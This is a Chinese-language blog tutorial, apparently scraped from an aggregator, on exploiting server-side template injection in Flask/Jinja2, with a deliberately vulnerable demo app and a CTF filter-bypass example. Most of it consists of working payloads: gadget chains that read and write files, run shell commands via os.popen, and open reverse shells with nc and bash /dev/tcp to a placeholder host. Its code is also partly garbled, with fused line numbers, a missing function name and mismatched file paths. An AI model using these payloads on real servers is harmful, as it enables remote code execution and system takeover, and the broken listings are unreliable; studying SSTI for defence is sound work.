flask jinja2 mysql_flask/jinja2 SSTI注入学习
0x00 前言
服務(wù)端模板注入(SSTI)攻擊,可以看看James Kettle寫的這篇文章。
flask出現(xiàn)模板注入原因主要還是因?yàn)槭褂昧藃ender_template_string函數(shù)
0x01 環(huán)境搭建
test.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from flask import Flask,render_template,config,render_template_string,request
from Config import Config
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.errorhandler(404)
def (e):
template = '''
Oops! That page doesn't exist.
%s
''' %(request.url)
return render_template_string(template)
if __name__=='__main__':`
app.run('0.0.0.0',9999,debug=True)
0x02 檢測注入1
2http://localhost:8888/{{ 7*7 }}
#http://localhost:8888/%7B%7B7*7%7D%7D
導(dǎo)出config變量1http://localhost:8888/{{config.items()}}
導(dǎo)出類1http://localhost:8888/{{''.__class__.__mro__[2].__subclasses__()}}
0x03 漏洞利用python2 和python3 有不同,這里測試的是python2,python3的類每次位置會變
文件操作
能夠執(zhí)行代碼,就能夠完成很多事情,接下來,我們將寫入一個webshell。之后的知識涉及沙箱逃逸和反彈shell
python2:1
2
3
4#寫
{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag', 'w').write('1234123') }}
#讀
{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag').read() }}
執(zhí)行命令1
2
3
4
5
6
7
8''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,__import__等的全局函數(shù),可以利用此來執(zhí)行命令:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
反彈shell1
2
3
4
5
6
7
8
9
10
11
12# 寫入文件
payload 1 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
payload 2 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}
# 利用 config.from_pyfile 加載文件
{{ config.from_pyfile('/tmp/shaobao') }}
# 反彈shell ; 提供兩種方法;對應(yīng)上的兩個文件
payload1 ::
{{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}
payload2 ::
{{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}
如果過濾了’(‘,’)’,例如TokyoWesterns CTF 4th 2018 - Shrine1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return '
'.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)1
2
3
4
5def __repr__(self):
top = _app_ctx_stack.top
if top is not None:
return '' % top.app.name
return object.__repr__(self)
payload:
g.__repr__.__func__.__globals__._app_ctx_stack.top.app.name.config
該func屬性將為我們提供由方法運(yùn)行的函數(shù)(方法是一個函數(shù)加上它所屬的類的引用,我認(rèn)為
0x05 防范與總結(jié)不提倡使用 render_template_string()
一般開發(fā)者都會將模板內(nèi)容寫入固定文件夾templates規(guī)范模板渲染,按照J(rèn)inja2的官方文檔
Referer
總結(jié)
以上是生活随笔為你收集整理的flask jinja2 mysql_flask/jinja2 SSTI注入学习的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java内部方法调用_Java学习之类方
- 下一篇: java http请求 乱码_怎么解决j